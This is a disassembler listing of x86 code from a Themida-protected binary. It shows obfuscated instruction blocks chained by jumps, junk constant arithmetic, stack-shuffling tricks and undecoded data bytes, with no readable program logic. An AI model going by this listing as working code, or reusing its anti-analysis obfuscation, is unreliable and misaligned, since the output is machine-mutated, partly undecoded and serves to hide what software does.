; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E924248Bh, 12D69h
; ---------------------------------------------------------------------------


loc_55DBE4:				; CODE XREF: Themida_:00572728j
		push	ebp
		mov	ebp, 58EA48CFh
		jmp	loc_56CA8A
; ---------------------------------------------------------------------------


loc_55DBEF:				; CODE XREF: Themida_:00564AA0j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0BFE00002h
		add	esi, ebx
		pop	ebx
		jmp	loc_560DD8
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9542404h, 570h
; ---------------------------------------------------------------------------


loc_55DC0C:				; CODE XREF: Themida_:00561332j
		add	ebx, 7905887h
		sub	ebx, eax
		sub	ebx, 7905887h
		jmp	loc_56989F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0E98006E9h, 3780E9CAh, 0F3010001h, 5464EB81h, 0C3813BFBh
		dd 27906B52h, 0BB7FE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC3E:				; CODE XREF: Themida_:005719D2j
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_560995
; ---------------------------------------------------------------------------
aOoksj		db '%╢O▌KИ╕',0
		align 4
		dd 468h, 24148B00h, 2D04C483h, 7BAB6621h, 2105D001h, 0FF7BAB66h
		dd 815A2434h, 4C4h, 2F3A6800h, 90E90000h
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC87:				; CODE XREF: Themida_:0056AFB3j
		sub	esi, 18A13D9Dh
		xor	esi, 47309834h
		jmp	loc_56BCFF
; ---------------------------------------------------------------------------
		dd 8B240C33h, 2052424h,	33000000h, 4312404h, 24043324h
		dd 13A47E9h, 2474FF00h,	241C8B04h, 0E904C483h, 279Eh, 815B5453h
		dd 4C3h, 4EB8100h, 87000000h, 0E95C241Ch, 1303Dh
; ---------------------------------------------------------------------------


loc_55DCD8:				; CODE XREF: Themida_:005638C8j
		add	esp, 4
		push	ebp
		mov	ebp, 0DB430F8h
		and	ebp, 68A82996h
		sub	ebp, 3CA2E3CFh
		add	esi, ebp
		pop	ebp
		sub	eax, 4BED451Bh
		add	eax, esi
		add	eax, 4BED451Bh
		pop	esi
		jmp	loc_56855C
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 240CFF50h, 7E8C158h,	87109705h, 58C601FEh, 1E76E9h
		dd 0E3C15F00h, 0FB34E907h, 34FFFFFFh, 5801E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD2A:				; CODE XREF: Themida_:0056B6EEj
		push	ebp
		push	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		or	ebp, 265A47F9h
		sub	esp, 4
		jmp	loc_5679F1
; ---------------------------------------------------------------------------
		dd 481CF381h, 0DE0116E2h, 0B43E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD52:				; CODE XREF: Themida_:00568985j
		mov	[esp], ebp
		push	2C346B3Ah
		pop	ebp
		jmp	loc_55FE0E
; ---------------------------------------------------------------------------


loc_55DD60:				; CODE XREF: Themida_:00563C5Bj
		push	131C30E0h
		jmp	loc_5663A0
; ---------------------------------------------------------------------------
aAcqaW		db '─Гq─гW',0
		db 0F8h, 0E9h, 5Eh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD77:				; CODE XREF: Themida_:00561E22j
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_57197F
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 0F41FB7EDh, 0B08BE922h, 14890000h, 3636BA24h
		dd 0D0011050h, 83D8295Ah, 3C8904ECh, 75685024h,	58264A40h
		dd 215A3B35h, 58C78975h, 68h, 243C2900h, 149DE9h, 0FC00B00h
		dd 74D384h, 15596800h, 0C890000h, 5766824h, 4890000h, 774E6824h
		dd 34FF0904h, 6EE95824h, 570000D7h, 726535BFh, 5FFB2953h
		dd 0C381CB01h, 53726535h, 6F3FEB81h, 56597F8Ah,	9B3C33BEh
		dd 2EB95150h, 815E142Eh, 0CA4C93C9h, 3E1C146h, 0E981D1F7h
		dd 0C0ED13A8h, 4EE3E9h,	0E9F00100h, 0F6D0h
; ---------------------------------------------------------------------------


loc_55DE2C:				; CODE XREF: Themida_:005690FCj
		mov	ebp, esp
		jmp	loc_56BC53
; ---------------------------------------------------------------------------
aISov		db '┴,$И▌V',0
		dw 5B00h
		dd 477CE956h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55DE42:				; CODE XREF: Themida_:00570B5Fj
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_55DE5C:				; CODE XREF: Themida_:0056F001j
		push	ebx
		jmp	loc_569C3E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E2895204h, 4C281h, 0EA810000h, 4, 5C241487h, 0B9240C89h
		dd 267879C2h, 3C41F181h, 0E9811857h, 0EC4038B5h, 0CDF18141h
		dd 5151EF0Ch, 0C0CE9h, 48F5400h, 24048324h, 243C8B04h
		dd 0B69AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DEA9:				; CODE XREF: Themida_:0056FD69j
		sub	ecx, ebp
		add	ecx, 0C295DD5h
		jmp	loc_5604A1
; ---------------------------------------------------------------------------


loc_55DEB6:				; CODE XREF: Themida_:0056029Ej
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [edi+20h]
		jmp	loc_5651A6
; ---------------------------------------------------------------------------
		db 91h
		dd 8104E1C1h, 0D264D3E9h, 93C18133h, 293CDF05h,	3AE959CDh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DEE3:				; CODE XREF: Themida_:0056E6C6j
		push	ebx
		mov	bh, 5Ah
		push	ebx
		mov	bh, 34h
		mov	dl, 0FFh
		xor	dl, bh
		pop	ebx
		sub	dl, bh
		pop	ebx
		add	dl, 0C9h
		sub	dl, 24h
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bl, 21h
		add	bl, 6Dh
		mov	ch, bl
		pop	ebx
		add	dl, ch
		jmp	loc_564145
; ---------------------------------------------------------------------------


loc_55DF0D:				; CODE XREF: Themida_:00565897j
		push	edx
		push	eax
		mov	eax, 0DBE18F0h
		jmp	loc_5727F6
; ---------------------------------------------------------------------------
		db 1, 0FBh, 8Bh
		dd 0C483243Ch, 804FE904h, 0D9F70000h, 1B0E941h,	48B0000h
		dd 4C48124h, 0E9000000h, 0AA5Dh
; ---------------------------------------------------------------------------


loc_55DF3C:				; CODE XREF: Themida_:0055FE7Aj
		mul	cl
		movzx	cx, ah
		push	small 43EEh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 4C6815Ah, 87000000h,	9E92434h
		db 0Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55DF67:				; CODE XREF: Themida_:00561031j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_570BCE
; ---------------------------------------------------------------------------


loc_55DF79:				; CODE XREF: Themida_:00560FABj
		mov	edi, 40277253h
		mov	ebp, 0D8D2B880h
		add	ebp, edi
		jmp	loc_56A1D7
; ---------------------------------------------------------------------------


loc_55DF8A:				; CODE XREF: Themida_:00563BACj
		push	esi
		mov	esi, 2DA7F59h
		jmp	loc_5659E1
; ---------------------------------------------------------------------------
		db 0BDh, 9Eh, 79h
		dd 0EDC13546h, 30C58108h, 4D47C26Fh, 0B5ACF581h, 0EB0147F7h
		dd 5293685Dh, 0C890000h, 2B924h, 0B8500000h, 3A350E5Eh
		dd 48BC329h, 4C48124h, 29000000h, 95BD55CBh, 0E92C0F24h
		dd 53F0h
; ---------------------------------------------------------------------------


loc_55DFD8:				; CODE XREF: Themida_:0056E18Dj
		mov	[esp], edi
		pop	edx
		pop	edi
		mov	eax, edx
		pop	edx
		push	esi
		jmp	loc_56EA43
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 81E58924h, 4C5h, 3D685000h, 8900005Bh, 4BE9241Ch, 5F00010Fh
		dd 9B5ABE56h, 0FF2DA16Bh, 0E950272Ch, 11725h, 40DA68h
		dd 241C8900h, 79ADE9h, 15C38100h, 9EC2161h, 0F7485BD8h
		dd 7C7B05D0h, 0B8502DE7h, 526A0B3Bh, 0E8C1D0F7h, 0D0F74806h
		dd 3507E8C1h, 5F27E57Ah, 158C101h, 2AE981C1h, 585EDD76h
		dd 2BF57h, 28E90000h, 33000068h, 1AE9240Ch
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E063:				; CODE XREF: Themida_:0055D3DCj
		push	eax
		mov	eax, esp
		jmp	loc_56E08E
; ---------------------------------------------------------------------------
		db 2Dh
		dd 644549E1h, 81240C8Bh, 4C4h, 24043300h, 0E9240431h, 9F9Ch
		dd 4BEh, 5EF50100h, 4737E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E091:				; CODE XREF: Themida_:0056F476j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56F203
; ---------------------------------------------------------------------------


loc_55E09F:				; CODE XREF: Themida_:00568C51j
		mov	eax, [esp]
		jmp	loc_564F85
; ---------------------------------------------------------------------------


loc_55E0A7:				; CODE XREF: Themida_:0055E560j
		pop	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_56F2BB
; ---------------------------------------------------------------------------
aSvt		db '\Иv▓',0
		dw 5100h
aKgwB8		db '╧┼Gw',8,'│а8:',0
		dw 8155h
		dd 0C2F95FF1h, 6A2E905h, 0C1810000h, 52BBFBCBh,	1FE6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E0E9:				; CODE XREF: Themida_:005668D9j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56A2B8
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0E9502414h, 1427Dh, 1E77E953h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55E106:				; CODE XREF: Themida_:00570C18j
		add	[ebx], ebp
		jmp	loc_56DD5F
; ---------------------------------------------------------------------------
		db 83h,	0EEh, 4
aZ4S		db '┤4$Ит*',0
		align 4
		dd 2404895Ch, 3735E9h, 80C30000h, 6866EAEBh, 8966673Bh
		dd 37B1240Ch, 0C058B450h, 0ECC007ECh, 7BEC8005h, 0E958E300h
		dd 8AD9h
; ---------------------------------------------------------------------------


loc_55E144:				; CODE XREF: Themida_:00568DF5j
		sub	ecx, 4
		jmp	loc_566D07
; ---------------------------------------------------------------------------
		dd 48BE588h, 4C48324h, 83241C8Bh, 686604C4h, 0C8E91BB9h
		dd 3B000131h, 82E99CC8h, 81FFFFF1h, 2A1C77E7h, 0C3CF8117h
		dd 0E914F94Ah, 29AEh, 8324048Bh, 0BB5304C4h, 4,	22BF5751h
		dd 812B5502h, 4102FBF7h, 33F78104h, 0E963C316h,	111EAh
; ---------------------------------------------------------------------------


loc_55E1A0:				; CODE XREF: Themida_:005651F0j
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 7E4005Dh
		add	ebp, 1
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 576C07DEh
		neg	ebp
		add	ebp, 0A0AFF7C8h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, 3AF42534h
		add	ecx, esi
		sub	ecx, 3AF42534h
		jmp	loc_570297
; ---------------------------------------------------------------------------


loc_55E1E3:				; CODE XREF: Themida_:00566919j
		xor	edx, 7FA22909h
		push	ebx
		mov	ebx, 9E2F6B57h
		jmp	loc_563186
; ---------------------------------------------------------------------------


loc_55E1F4:				; CODE XREF: Themida_:0056BB3Fj
		add	[esp+4], eax
		jmp	loc_563E4A
; ---------------------------------------------------------------------------
		db 5Dh,	51h, 0B9h
		dd 19460E84h, 159CB01h,	90EE9C3h, 0D1F70000h, 137FEE9h
		dd 4BA5200h, 1000000h, 0C2E95AD5h, 83000003h, 148904ECh
		dd 5E95424h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E22F:				; CODE XREF: Themida_:00564539j
		push	4541h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 3FC75C30h
		add	ebp, ecx
		sub	ebp, 3FC75C30h
		jmp	loc_56D103
; ---------------------------------------------------------------------------


loc_55E24F:				; CODE XREF: Themida_:0056AC2Dj
		push	dword ptr [esp]
		jmp	loc_56D352
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2FE236FAh, 0F281DAF7h, 1806C46h, 6802EAC1h, 0
		dd 5A241429h, 5DB0C281h, 0D629AFFEh, 15C5815Ah,	815DDD36h
		dd 554C55EDh, 0E9F50169h, 0FFFFF2DCh, 6FE9585Eh, 1000088h
		dd 0C8015EF0h, 130AF2Dh, 13150511h, 34FF6DAAh, 0C4815924h
		dd 4, 0F497E9h,	0D1EDD100h, 97868E5h, 7DE90000h
		db 27h,	1, 0
; ---------------------------------------------------------------------------


loc_55E2BF:				; CODE XREF: Themida_:0056676Aj
		mov	ebx, esp
		jmp	loc_56347E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 66B1EE8h, 164EB81h, 3E921CBh, 66000093h, 660001BEh
		dd 0A1E9F301h, 0AD0000DAh, 0EA68D831h, 89000002h, 0E6892434h
		dd 4C681h, 0EBE90000h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2FB:				; CODE XREF: Themida_:00564F09j
		mov	[esp], eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55E303:				; CODE XREF: Themida_:0056609Ej
		push	edi
		push	6EE8D0AFh
		pop	edi
		xor	esi, edi
		pop	edi
		and	edx, esi
		pop	esi
		xor	edx, 51F63B84h
		push	0E76h
		mov	[esp], eax
		mov	eax, 683475BCh
		push	edi
		mov	edi, 10D8320Dh
		xor	eax, edi
		pop	edi
		or	edx, eax
		pop	eax
		push	esi
		mov	esi, 789901B4h
		sub	edx, esi
		pop	esi
		shl	edx, 4
		jmp	loc_5625C2
; ---------------------------------------------------------------------------
		dd 0FCCF22BFh, 0F2F9E93Bh, 0C890000h, 50E6B124h, 0E1303CB4h
		dd 4E9C058h, 0C180D9F6h, 0FC98001h, 88CFF180h, 0C28859C8h
		dd 4FD0458h, 2CD000C3h,	0B35351C3h, 0DBEB800Fh,	0CDE9DD88h
		dd 8B000058h, 0C483243Ch, 1A7EE904h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55E38A:				; CODE XREF: Themida_:0056474Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_560B58
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 1C890000h, 81E38924h, 4C3h, 51026800h
		dd 3C890000h, 5297E924h, 0C4830000h, 3EEAE904h,	1C8B0001h
		dd 4C48124h, 87000000h,	248B2414h, 0B60F6624h, 2269E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E3DE:				; CODE XREF: Themida_:0055F1DAj
		push	edx
		sub	dword ptr [esp], 0DD44B4Bh
		jmp	loc_561279
; ---------------------------------------------------------------------------
		db 57h
		dd 68575EBFh, 2722E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E3F6:				; CODE XREF: Themida_:00571319j
		add	edx, esi
		sub	edx, 36133D5Dh
		jmp	loc_570C6B
; ---------------------------------------------------------------------------
		db 68h
		dd 6884h, 0E9242C89h, 0C315h, 575DE931h, 0A00268BFh, 20EF816Bh
		dd 1FF389Eh, 4CF4E9FAh,	0E8000000h, 1E041404h, 83240C8Bh
		dd 0C38004C4h, 5EF768E5h, 0C890000h, 0FE30B124h, 23C180C1h
		dd 8007E980h, 12E994E9h, 8100007Bh, 4C4h, 30E95600h, 500005Ah
		dd 660167Fh, 5F2434FFh,	0E904C483h, 0B7FCh, 0FE8DB050h
		dd 0FEC0FEC8h, 28652CC8h, 24048BC3h, 8004C483h,	0EB003AEBh
		dd 503AC380h, 0C0FEC7B0h, 0E953C0FEh, 0B854h
; ---------------------------------------------------------------------------


loc_55E494:				; CODE XREF: Themida_:0056F99Ej
		mov	ebp, eax
		jmp	loc_569BC6
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 28B2E950h, 0C4810000h, 4,	0B85B6F05h, 81D80120h
		dd 4ECh, 24148900h, 0B85B6FBAh,	5AD02920h, 83241C8Bh, 0BB5304C4h
		dd 4, 835BD801h, 48904ECh, 2474FF24h, 99E95804h, 6600010Dh
		dd 8324148Bh, 3C8904ECh, 0EFE95424h, 54000013h,	4C18159h
		dd 55000000h, 104A0E9h,	0C006800h, 0C890000h, 50E18924h
		dd 4B8h, 0E9C10100h, 0FF2Dh
; ---------------------------------------------------------------------------


loc_55E518:				; CODE XREF: Themida_:00564440j
		push	edi
		inc	dword ptr [esp]
		pop	edi
		shr	edi, 3
		jmp	loc_55FFF4
; ---------------------------------------------------------------------------


loc_55E525:				; CODE XREF: Themida_:005698DEj
		mov	eax, 51A80009h
		xor	[esp+4], eax
		pop	eax
		jmp	loc_56C0DE
; ---------------------------------------------------------------------------


loc_55E534:				; CODE XREF: Themida_:0056A00Bj
		shl	ecx, 5
		or	ecx, 45AD53E2h
		add	ecx, 0B3B364Bh
		push	ecx
		xor	dword ptr [esp], 524774FBh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	esi, 524774FBh
		pop	ecx
		xor	[esp+4], esi
		jmp	loc_55E0A7
; ---------------------------------------------------------------------------


loc_55E565:				; CODE XREF: Themida_:0056CD3Dj
		pop	esp
		xor	eax, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_564288
; ---------------------------------------------------------------------------
		db 0BEh, 0E1h, 50h
		dd 0D6F703D0h, 0E3FEE9h, 0BE565C00h, 4,	875EF501h, 0E95C242Ch
		dd 545Dh
; ---------------------------------------------------------------------------


loc_55E590:				; CODE XREF: Themida_:0056BDA8j
		inc	esi
		add	esi, 0E15FFD81h
		push	ebp
		mov	ebp, 7D08307Fh
		or	ebp, 735309B0h
		sub	ebp, 62862C97h
		xor	ebp, 12DF1535h
		add	edi, ebp
		pop	ebp
		add	edi, esi
		sub	edi, 0E0A185Dh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_571CD1
; ---------------------------------------------------------------------------
		dd offset dword_480004+0C57Ch
		dw 59EAh
		dd 5CF46866h, 24148966h, 0E457E9h, 4C58100h, 87000000h
		dd 248B242Ch, 0F2E95324h, 890000CFh, 0F90158C7h, 0A180E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E602:				; CODE XREF: Themida_:0056881Cj
		mov	ecx, 60982925h
		jmp	loc_56EB5F
; ---------------------------------------------------------------------------
		dd 2459EE81h, 0F7560C15h, 0E95E2414h, 2482h
; ---------------------------------------------------------------------------


loc_55E61C:				; CODE XREF: Themida_:0056F33Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D5D4
; ---------------------------------------------------------------------------


loc_55E62F:				; CODE XREF: Themida_:0055E6A7j
		xor	edx, [esp]
		xor	[esp], edx
		pop	ebp
		shl	ebp, 3
		push	esi
		mov	esi, 2FF95B9Dh
		shl	esi, 3
		shr	esi, 3
		sub	esi, 0D58DC1D1h
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 78B11505h
		sub	ecx, 3B104F41h
		add	ecx, ebp
		add	ecx, 3B104F41h
		sub	ecx, 78B11505h
		pop	ebp
		push	edi
		jmp	loc_568644
; ---------------------------------------------------------------------------
aBsUxis1s	db '│И^u∙iИ1≤',0
		dw 4E00h
		dd 1F24E681h, 0C6814278h, 27044C55h, 0D2FDE9h, 62B36800h
		dd 14890000h, 34FF5424h, 4A72E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6A2:				; CODE XREF: Themida_:0056FEBBj
		not	edx
		xor	[esp], edx
		jmp	loc_55E62F
; ---------------------------------------------------------------------------
		dd 1F2B82BDh, 0A7F5813Bh, 0E91EAA1Dh, 0FFFFFBF5h, 431AE952h
		dd 88BE0000h, 0E902A436h, 0AF56h
; ---------------------------------------------------------------------------


loc_55E6CC:				; CODE XREF: Themida_:00570016j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7A9766F0h
		inc	ecx
		dec	ecx
		jmp	loc_56E151
; ---------------------------------------------------------------------------
		dw 2958h
		dd 5904244Ch, 0F7BD5559h, 177F61Eh, 0D4D8E9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6F6:				; CODE XREF: Themida_:005604BAj
		pop	ecx
		add	eax, 4
		jmp	loc_56DD2C
; ---------------------------------------------------------------------------


loc_55E6FF:				; CODE XREF: Themida_:00566594j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	ebx, 79C94C7Ah
		sub	ebx, eax
		push	ecx
		mov	ecx, 79C94C7Ah
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 40883F8Dh
		add	ebx, ecx
		pop	ecx
		jmp	loc_5676A2
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0EBAFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E73E:				; CODE XREF: Themida_:00560B13j
		push	1AEDh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55D334
; ---------------------------------------------------------------------------


loc_55E75F:				; CODE XREF: Themida_:0056E1F8j
		add	eax, 4BC81C63h
		sub	eax, 58E4748Ch
		add	eax, ebp
		add	eax, 58E4748Ch
		sub	eax, 4BC81C63h
		pop	ebp
		push	5BF3h
		jmp	loc_56A60D
; ---------------------------------------------------------------------------
aYzsD		db ')хYZИ╨D',0
		dd 20D06800h, 8F540000h, 0C0E92404h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E797:				; CODE XREF: Themida_:00562AA8j
		mov	esi, 584E1851h
		jmp	loc_5701DE
; ---------------------------------------------------------------------------
		db 0BAh, 2, 0
		dd 0D7010000h, 0E924148Bh, 0FFFFFC0Eh
; ---------------------------------------------------------------------------


loc_55E7B0:				; CODE XREF: Themida_:00569421j
		mov	edi, 679D1CDFh
		mov	esi, edi
		pop	edi
		push	11CDh
		mov	[esp], esi
		jmp	loc_565FB8
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 4781h, 5A240486h, 5F55E9h, 0C7815B00h, 284502E7h
		dd 19E9FB01h, 81000077h, 4C4h, 76E95900h, 83000081h, 0B0E904C4h
		dd 550000B0h, 6AD7E9h, 4EC8100h, 89000000h, 54572424h
		dd 4C7815Fh, 81000000h,	4EFh, 2714E900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55E81E:				; CODE XREF: Themida_:00571F1Ej
		mov	[esp], edi
		sub	dword ptr [esp], 73140975h
		jmp	loc_560375
; ---------------------------------------------------------------------------


loc_55E82D:				; CODE XREF: Themida_:00564E3Ej
		or	ebx, 0DA21705h
		push	ecx
		push	edi
		mov	edi, 2F950825h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shl	ecx, 5
		add	ecx, 72C92739h
		shr	ecx, 7
		inc	ecx
		sub	ecx, 0E8C5B0B0h
		jmp	loc_560B02
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 6EDC14Dh, 0E8D8E9h, 48B6600h, 4EC8324h, 54242C89h, 4C5815Dh
		dd 83000000h, 48904ECh,	0EC835224h, 24248904h, 38C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E889:				; CODE XREF: Themida_:00565E03j
		sub	eax, 5BFC0DE2h
		add	eax, ebp
		jmp	loc_56F137
; ---------------------------------------------------------------------------
aZ4S_0		db '┤4$\Ияэ',0
		align 2
aISk2		db '┴ъ[И╙2',0
		align 2
		dw 1C30h
		dd 241C3224h, 66241C30h, 0A69DE950h, 0BF570000h, 737A4263h
		dd 0BDE9FB01h, 0B2000099h, 66D53038h, 8BE8305Ah, 62E9240Ch
		dd 80000101h, 0EA28B8EAh, 8BB8C280h, 0C483240Ch, 0E005E904h
		dd 565A0000h, 0FFEAF4E9h, 0FFD701FFh, 148B2434h, 4C48124h
		dd 83000000h, 3C8704C4h, 24248B24h, 72D0E9h, 81E58900h
		dd 4C5h, 478BE900h, 34310000h, 24343324h, 9850E9h, 0B2BB5300h
		dd 51627745h, 0AB3F43B9h, 81D1F77Eh, 805860C1h,	0BD55414Ah
		dd 0AEA9F973h, 0DBE9E929h
		db 29h,	1, 0
; ---------------------------------------------------------------------------


loc_55E943:				; CODE XREF: Themida_:00568A61j
		push	ecx
		mov	ecx, 78565D12h
		sub	ecx, 2E4212BAh
		not	ecx
		shl	ecx, 8
		push	4072h
		jmp	loc_568CA4
; ---------------------------------------------------------------------------
aRsscd		db '(ьRSИ≈└',0
		dw 5500h
		dd 168h, 180DE900h, 0E95F0000h,	3310h
; ---------------------------------------------------------------------------


loc_55E978:				; CODE XREF: Themida_:0056613Aj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_56F698
; ---------------------------------------------------------------------------


loc_55E984:				; CODE XREF: Themida_:00562EBFj
		pop	edi
		push	dword ptr [esp]
		jmp	loc_566A86
; ---------------------------------------------------------------------------


loc_55E98D:				; CODE XREF: Themida_:0056B526j
		mov	esp, [esp]
		push	1FF4h
		mov	[esp], ebp
		mov	ebp, 491E1759h
		sub	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5E2042A7h
		inc	ebx
		add	ebx, 1189F504h
		jmp	loc_563490
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0EC835324h, 24248904h, 4E88E9h, 0C84BD00h
		dd 0F58120C7h, 2E44608Eh, 44E9D5F7h, 81000106h,	4C7h, 4C78100h
		dd 87000000h, 315C243Ch, 31DE31F3h, 0E9D6F7F3h,	10405h
		dd 0FF240C89h, 8B042474h, 0C481240Ch, 4, 5C24048Fh, 662CD800h
		dd 18E868h, 241C8900h, 4EC81h, 4890000h, 507EB424h, 0CB045CB0h
		dd 0DB4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EA2D:				; CODE XREF: Themida_:00570F2Dj
		add	ebp, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56B816
; ---------------------------------------------------------------------------


loc_55EA3A:				; CODE XREF: Themida_:00562E2Aj
		push	esi
		mov	esi, ecx
		push	esi
		pop	ebp
		pop	esi
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C773
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C14A07EAh, 0CA8106E2h, 123B162Bh, 0E436F281h, 0D5013FFAh
		dd 5DEE295Ah, 0F7EDE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA6A:				; CODE XREF: Themida_:00567586j
		mov	[esp], eax
		mov	eax, 24h
		add	eax, edi
		jmp	loc_56C6FA
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E9C8AF0Fh, 0CFF0h
; ---------------------------------------------------------------------------


loc_55EA84:				; CODE XREF: Themida_:0055ED85j
		push	114Ah
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ebp
		jmp	loc_563305
; ---------------------------------------------------------------------------
		db 0B9h, 0DAh, 12h
		dd 0D9F734B0h, 2618C181h, 71E90F03h, 0B000001Fh, 2E0C061h
		dd 42DCE9h, 99E98100h, 812D2E2Eh, 31E89E9h, 0B0E98164h
		dd 1055123h, 0B0C181D1h, 0E9055123h, 0F22Bh
; ---------------------------------------------------------------------------


loc_55EAE0:				; CODE XREF: Themida_:0055D305j
		push	ecx
		mov	ecx, esp
		jmp	loc_570B33
; ---------------------------------------------------------------------------


loc_55EAE8:				; CODE XREF: Themida_:00571660j
		add	esp, 4
		push	edi
		mov	edi, 288F7E3Ch
		add	edi, 65320A0Fh
		not	edi
		jmp	loc_5621C3
; ---------------------------------------------------------------------------


loc_55EAFE:				; CODE XREF: Themida_:00569A8Aj
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_56AF8A
; ---------------------------------------------------------------------------
aVZsbm		db '╦',0Dh,'v╥ZИBm',0
		align 4
		dd 0E84EB81h, 48B1946h,	4C48324h, 10BB6E9h, 0ED815D00h
		dd 267F5EA4h, 0C581F501h, 267F5EA4h, 242C335Eh,	33242C31h
		dd 0C3E9242Ch, 0B100013Ah, 59CE8828h, 70E9CDB4h, 5B000090h
		dd 0F381DBF7h, 8484ADBCh, 7618E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EB65:				; CODE XREF: Themida_:00565BB7j
		add	ebx, 6FE134F2h
		push	dword ptr [ebx]
		jmp	loc_568B40
; ---------------------------------------------------------------------------


loc_55EB72:				; CODE XREF: Themida_:005711CFj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		shr	ebx, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_570CAC
; ---------------------------------------------------------------------------


loc_55EB8D:				; CODE XREF: Themida_:00568CD6j
		add	eax, 4
